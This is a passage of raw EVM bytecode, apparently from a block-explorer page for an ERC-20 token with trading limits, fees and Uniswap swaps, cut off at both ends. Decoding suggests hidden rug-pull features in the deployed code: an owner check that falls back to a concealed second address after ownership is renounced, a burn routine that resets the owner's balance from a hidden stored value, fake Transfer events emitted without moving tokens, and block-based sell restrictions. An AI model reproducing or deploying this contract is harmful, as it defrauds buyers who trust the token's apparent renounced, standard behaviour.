b2a565b9150613af082613a89565b604082019050919050565b60006020820190508181036000830152613b1481613ad8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b77602383612b2a565b9150613b8282613b1b565b604082019050919050565b60006020820190508181036000830152613ba681613b6a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613be3601683612b2a565b9150613bee82613bad565b602082019050919050565b60006020820190508181036000830152613c1281613bd6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374695f69734578636c7564656446726f6d466565736f60208201527f6e416d6f756e742e000000000000000000000000000000000000000000000000604082015250565b6000613c9b604883612b2a565b9150613ca682613c19565b606082019050919050565b60006020820190508181036000830152613cca81613c8e565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613d07601383612b2a565b9150613d1282613cd1565b602082019050919050565b60006020820190508181036000830152613d3681613cfa565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613d99603683612b2a565b9150613da482613d3d565b604082019050919050565b60006020820190508181036000830152613dc881613d8c565b9050919050565b6000613dda82612c43565b9150613de583612c43565b9250828203905081811115613dfd57613dfc613394565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e5f602183612b2a565b9150613e6a82613e03565b604082019050919050565b60006020820190508181036000830152613e8e81613e52565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ef1602283612b2a565b9150613efc82613e95565b604082019050919050565b60006020820190508181036000830152613f2081613ee4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613f83602683612b2a565b9150613f8e82613f27565b604082019050919050565b60006020820190508181036000830152613fb281613f76565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b6000614015602483612b2a565b915061402082613fb9565b604082019050919050565b6000602082019050818103600083015261404481614008565b9050919050565b60008151905061405a81612c17565b92915050565b60006020828403121561407657614075612bdb565b5b60006140848482850161404b565b91505092915050565b60006140a86140a361409e84612be5565b612fe0565b612c43565b9050919050565b6140b88161408d565b82525050565b6000819050919050565b60006140e36140de6140d9846140be565b612fe0565b612c43565b9050919050565b6140f3816140c8565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61412e81612c05565b82525050565b60006141408383614125565b60208301905092915050565b6000602082019050919050565b6000614164826140f9565b61416e8185614104565b935061417983614115565b8060005b838110156141aa5781516141918882614134565b975061419c8361414c565b92505060018101905061417d565b5085935050505092915050565b600060a0820190506141cc60008301886140af565b6141d960208301876140ea565b81810360408301526141eb8186614159565b90506141fa60608301856130c7565b6142076080830184612ebf565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061424b82612c43565b915061425683612c43565b92508261426657614265614211565b5b82820490509291505056fea2646970667358221220c62c96700b5fe449db69a1b0da79d9279039d1064851b19ab859137e0274a0fc64736f6c63430008110033000000000000000000000000952ac4b27d9fcb0be20660533807ced204a11dc7

Deployed Bytecode

0x60806040526004361061021e5760003560e01c806389291a8f11610123578063c2b7bbb6116100ab578063dd8546521161006f578063dd85465214610792578063e2f45605146107bd578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c2b7bbb6146106bf578063c8c8ebe4146106e8578063c9567bf914610713578063cf9522fd1461072a578063dd62ed3e1461075557610225565b80639fa04811116100f25780639fa04811146105b6578063a457c2d7146105f3578063a9059cbb14610630578063afa4f3b21461066d578063b18834aa1461069657610225565b806389291a8f146105205780638da5cb5b1461053757806395d89b41146105625780639a7a23d61461058d57610225565b80633be6e637116101a657806370a082311161017557806370a0823114610475578063715018a6146104b2578063751039fc146104c95780637571336a146104e05780637d16a7211461050957610225565b80633be6e637146103cd57806342966c68146103f6578063583e05681461041f5780636ddd17131461044a57610225565b806318160ddd116101ed57806318160ddd146102d257806323b872dd146102fd578063311028af1461033a578063313ce56714610365578063395093511461039057610225565b806306fdde031461022a578063095ea7b3146102555780630f054c06146102925780631111f43f146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612baf565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c79565b6108f9565b6040516102899190612cd4565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102d060048036038101906102cb9190612e63565b610a6d565b005b3480156102de57600080fd5b506102e7610b72565b6040516102f49190612ece565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f9190612ee9565b610b7c565b6040516103319190612cd4565b60405180910390f35b34801561034657600080fd5b5061034f610bab565b60405161035c9190612ece565b60405180910390f35b34801561037157600080fd5b5061037a610bb1565b6040516103879190612f58565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190612c79565b610bba565b6040516103c49190612cd4565b60405180910390f35b3480156103d957600080fd5b506103f460048036038101906103ef9190612f73565b610bf1565b005b34801561040257600080fd5b5061041d60048036038101906104189190612fb3565b610c5c565b005b34801561042b57600080fd5b50610434610c78565b604051610441919061303f565b60405180910390f35b34801561045657600080fd5b5061045f610c9c565b60405161046c9190612cd4565b60405180910390f35b34801561048157600080fd5b5061049c6004803603810190610497919061305a565b610caf565b6040516104a99190612ece565b60405180910390f35b3480156104be57600080fd5b506104c7610cf7565b005b3480156104d557600080fd5b506104de610d0b565b005b3480156104ec57600080fd5b5061050760048036038101906105029190613087565b610d30565b005b34801561051557600080fd5b5061051e610d93565b005b34801561052c57600080fd5b50610535610db8565b005b34801561054357600080fd5b5061054c610e4c565b60405161055991906130d6565b60405180910390f35b34801561056e57600080fd5b50610577610e76565b6040516105849190612baf565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190613087565b610f08565b005b3480156105c257600080fd5b506105dd60048036038101906105d8919061305a565b610fae565b6040516105ea9190612cd4565b60405180910390f35b3480156105ff57600080fd5b5061061a60048036038101906106159190612c79565b611004565b6040516106279190612cd4565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612c79565b61107b565b6040516106649190612cd4565b60405180910390f35b34801561067957600080fd5b50610694600480360381019061068f9190612fb3565b61109e565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061314c565b6110ce565b005b3480156106cb57600080fd5b506106e660048036038101906106e1919061305a565b6111ab565b005b3480156106f457600080fd5b506106fd6111f7565b60405161070a9190612ece565b60405180910390f35b34801561071f57600080fd5b506107286111fd565b005b34801561073657600080fd5b5061073f611222565b60405161074c9190612ece565b60405180910390f35b34801561076157600080fd5b5061077c600480360381019061077791906131ac565b611228565b6040516107899190612ece565b60405180910390f35b34801561079e57600080fd5b506107a76112af565b6040516107b49190612ece565b60405180910390f35b3480156107c957600080fd5b506107d26112b5565b6040516107df9190612ece565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a919061305a565b6112bb565b005b34801561081d57600080fd5b5061082661133e565b6040516108339190612ece565b60405180910390f35b34801561084857600080fd5b50610851611344565b60405161085e9190612cd4565b60405180910390f35b6060600480546108769061321b565b80601f01602080910402602001604051908101604052809291908181526020018280546108a29061321b565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611357565b905061091181858561135f565b600191505092915050565b610924611528565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161096491906130d6565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a59190613261565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132da565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132fa565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613338565b505050565b610a75611528565b60005b8251811015610b6d578160016000858481518110610a9957610a98613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610b0557610b04613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610b529190612cd4565b60405180910390a28080610b65906133c3565b915050610a78565b505050565b6000600354905090565b600080610b87611357565b9050610b948582856115a6565b610b9f858585611632565b60019150509392505050565b60115481565b60006009905090565b600080610bc5611357565b9050610be6818585610bd78589611228565b610be1919061340b565b61135f565b600191505092915050565b610bf9611528565b60148211158015610c0b575060328111155b610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c419061348b565b60405180910390fd5b81601381905550806012819055505050565b610c64611528565b610c75610c6f611357565b82611f8e565b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b601460009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cff611528565b610d096000612163565b565b610d13611528565b6000610d1d610b72565b905080600f8190555080600e8190555050565b610d38611528565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610d9b611528565b6001601460006101000a81548160ff021916908315150217905550565b610dc0611528565b60004711610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa906134f7565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e49573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e859061321b565b80601f0160208091040260200160405190810160405280929190818152602001828054610eb19061321b565b8015610efe5780601f10610ed357610100808354040283529160200191610efe565b820191906000526020600020905b815481529060010190602001808311610ee157829003601f168201915b5050505050905090565b610f10611528565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9790613589565b60405180910390fd5b610faa8282612229565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008061100f611357565b9050600061101d8286611228565b905083811015611062576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110599061361b565b60405180910390fd5b61106f828686840361135f565b60019250505092915050565b600080611086611357565b9050611093818585611632565b600191505092915050565b6110a6611528565b6110ae610bb1565b600a6110ba919061376e565b816110c591906137b9565b60108190555050565b6110d6611528565b60005b838390508110156111a5578383828181106110f7576110f6613365565b5b905060200201602081019061110c919061305a565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161118a9190612ece565b60405180910390a3808061119d906133c3565b9150506110d9565b50505050565b6111b3611528565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b611205611528565b6001601460016101000a81548160ff021916908315150217905550565b60125481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60135481565b60105481565b6112c3611528565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113299061386d565b60405180910390fd5b61133b81612163565b50565b600e5481565b601460019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c5906138ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490613991565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151b9190612ece565b60405180910390a3505050565b611530611357565b73ffffffffffffffffffffffffffffffffffffffff1661154e6122ca565b73ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b906139fd565b60405180910390fd5b565b60006115b28484611228565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461162c578181101561161e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161590613a69565b60405180910390fd5b61162b848484840361135f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169890613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170790613b8d565b60405180910390fd5b43601781905550600081036117305761172b838360006122de565b611f89565b611738610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a65750611776610e4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117df5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611819575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118325750600d60149054906101000a900460ff16155b15611bac57601460019054906101000a900460ff1661192c57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118ec5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61192b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192290613bf9565b60405180910390fd5b5b601754600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a155750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611abc57600f54811115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613cb1565b60405180910390fd5b600e54611a6b83610caf565b82611a76919061340b565b1115611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90613d1d565b60405180910390fd5b611bab565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b5f5750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611baa57600f54811115611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613daf565b60405180910390fd5b5b5b5b6000611bb730610caf565b905060008082119050808015611bd95750601460009054906101000a900460ff165b8015611bf25750600d60149054906101000a900460ff16155b8015611c485750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c9e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cf45750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d39576001600d60146101000a81548160ff021916908315150217905550611d1d83612554565b6000600d60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dd35750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460175411155b15611de257611de1856126e6565b5b6000600d60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e975750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ea157600090505b60008115611f7957601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f2a57611f236064611f1560125488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b9050611f55565b611f526064611f4460135488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b90505b6000811115611f6a57611f698730836122de565b5b8085611f769190613dcf565b94505b611f848787876122de565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff490613e75565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207a90613f07565b60405180910390fd5b816007546120919190613dcf565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546120e59190613dcf565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161214a9190612ece565b60405180910390a361215e83600084612a61565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000806122d5612a66565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361234d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234490613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b390613b8d565b60405180910390fd5b6123c7838383612b0e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561244d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244490613f99565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161253b9190612ece565b60405180910390a361254e848484612a61565b50505050565b600061255f30610caf565b905060008082036125715750506126e3565b6000601254601354612583919061340b565b036125ff57600082118015612599575060105482105b156125a6578190506125fa565b60006125d060646125c260125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846125de9190613dcf565b93506010548411156125f45760105491506125f8565b8391505b505b6126d7565b60008211801561262357506126206005601054612a4b90919063ffffffff16565b82105b1561262f5750506126e3565b60008211801561265357506126506005601054612a4b90919063ffffffff16565b82115b8015612660575060105482105b156126825761267b6005601054612a4b90919063ffffffff16565b90506126d6565b60006126ac606461269e60125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846126ba9190613dcf565b93506010548411156126d05760105491506126d4565b8391505b505b5b6126e0816126e6565b50505b50565b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127c057612780600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b13565b6127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b69061402b565b60405180910390fd5b5b6000600267ffffffffffffffff8111156127dd576127dc612cf4565b5b60405190808252806020026020018201604052801561280b5781602001602082028036833780820191505090505b509050308160008151811061282357612822613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ec9190614060565b81600181518110612900576128ff613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061297b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8473ffffffffffffffffffffffffffffffffffffffff1661135f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129ff9594939291906141b7565b600060405180830381600087803b158015612a1957600080fd5b505af1158015612a2d573d6000803e3d6000fd5b505050505050565b60008183612a4391906137b9565b905092915050565b60008183612a599190614240565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ae557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b09565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b59578082015181840152602081019050612b3e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b8182612b1f565b612b8b8185612b2a565b9350612b9b818560208601612b3b565b612ba481612b65565b840191505092915050565b60006020820190508181036000830152612bc98184612b76565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1082612be5565b9050919050565b612c2081612c05565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b6000819050919050565b612c5681612c43565b8114612c6157600080fd5b50565b600081359050612c7381612c4d565b92915050565b60008060408385031215612c9057612c8f612bdb565b5b6000612c9e85828601612c2e565b9250506020612caf85828601612c64565b9150509250929050565b60008115159050919050565b612cce81612cb9565b82525050565b6000602082019050612ce96000830184612cc5565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d2c82612b65565b810181811067ffffffffffffffff82111715612d4b57612d4a612cf4565b5b80604052505050565b6000612d5e612bd1565b9050612d6a8282612d23565b919050565b600067ffffffffffffffff821115612d8a57612d89612cf4565b5b602082029050602081019050919050565b600080fd5b6000612db3612dae84612d6f565b612d54565b90508083825260208201905060208402830185811115612dd657612dd5612d9b565b5b835b81811015612dff5780612deb8882612c2e565b845260208401935050602081019050612dd8565b5050509392505050565b600082601f830112612e1e57612e1d612cef565b5b8135612e2e848260208601612da0565b91505092915050565b612e4081612cb9565b8114612e4b57600080fd5b50565b600081359050612e5d81612e37565b92915050565b60008060408385031215612e7a57612e79612bdb565b5b600083013567ffffffffffffffff811115612e9857612e97612be0565b5b612ea485828601612e09565b9250506020612eb585828601612e4e565b9150509250929050565b612ec881612c43565b82525050565b6000602082019050612ee36000830184612ebf565b92915050565b600080600060608486031215612f0257612f01612bdb565b5b6000612f1086828701612c2e565b9350506020612f2186828701612c2e565b9250506040612f3286828701612c64565b9150509250925092565b600060ff82169050919050565b612f5281612f3c565b82525050565b6000602082019050612f6d6000830184612f49565b92915050565b60008060408385031215612f8a57612f89612bdb565b5b6000612f9885828601612c64565b9250506020612fa985828601612c64565b9150509250929050565b600060208284031215612fc957612fc8612bdb565b5b6000612fd784828501612c64565b91505092915050565b6000819050919050565b6000613005613000612ffb84612be5565b612fe0565b612be5565b9050919050565b600061301782612fea565b9050919050565b60006130298261300c565b9050919050565b6130398161301e565b82525050565b60006020820190506130546000830184613030565b92915050565b6000602082840312156130705761306f612bdb565b5b600061307e84828501612c2e565b91505092915050565b6000806040838503121561309e5761309d612bdb565b5b60006130ac85828601612c2e565b92505060206130bd85828601612e4e565b9150509250929050565b6130d081612c05565b82525050565b60006020820190506130eb60008301846130c7565b92915050565b600080fd5b60008083601f84011261310c5761310b612cef565b5b8235905067ffffffffffffffff811115613129576131286130f1565b5b60208301915083602082028301111561314557613144612d9b565b5b9250929050565b60008060006040848603121561316557613164612bdb565b5b600084013567ffffffffffffffff81111561318357613182612be0565b5b61318f868287016130f6565b935093505060206131a286828701612c64565b9150509250925092565b600080604083850312156131c3576131c2612bdb565b5b60006131d185828601612c2e565b92505060206131e285828601612c2e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061323357607f821691505b602082108103613246576132456131ec565b5b50919050565b60008151905061325b81612c4d565b92915050565b60006020828403121561327757613276612bdb565b5b60006132858482850161324c565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132c4601283612b2a565b91506132cf8261328e565b602082019050919050565b600060208201905081810360008301526132f3816132b7565b9050919050565b600060408201905061330f60008301856130c7565b61331c6020830184612ebf565b9392505050565b60008151905061333281612e37565b92915050565b60006020828403121561334e5761334d612bdb565b5b600061335c84828501613323565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006133ce82612c43565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613400576133ff613394565b5b600182019050919050565b600061341682612c43565b915061342183612c43565b925082820190508082111561343957613438613394565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b6000613475601683612b2a565b91506134808261343f565b602082019050919050565b600060208201905081810360008301526134a481613468565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006134e1601683612b2a565b91506134ec826134ab565b602082019050919050565b60006020820190508181036000830152613510816134d4565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613573603983612b2a565b915061357e82613517565b604082019050919050565b600060208201905081810360008301526135a281613566565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613605602583612b2a565b9150613610826135a9565b604082019050919050565b60006020820190508181036000830152613634816135f8565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156136925780860481111561366e5761366d613394565b5b600185161561367d5780820291505b808102905061368b8561363b565b9450613652565b94509492505050565b6000826136ab5760019050613767565b816136b95760009050613767565b81600181146136cf57600281146136d957613708565b6001915050613767565b60ff8411156136eb576136ea613394565b5b8360020a91508482111561370257613701613394565b5b50613767565b5060208310610133831016604e8410600b841016171561373d5782820a90508381111561373857613737613394565b5b613767565b61374a8484846001613648565b9250905081840481111561376157613760613394565b5b81810290505b9392505050565b600061377982612c43565b915061378483612f3c565b92506137b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461369b565b905092915050565b60006137c482612c43565b91506137cf83612c43565b92508282026137dd81612c43565b915082820484148315176137f4576137f3613394565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613857602683612b2a565b9150613862826137fb565b604082019050919050565b600060208201905081810360008301526138868161384a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006138e9602483612b2a565b91506138f48261388d565b604082019050919050565b60006020820190508181036000830152613918816138dc565b9050919050565b7f45524332303a20617070726f7665207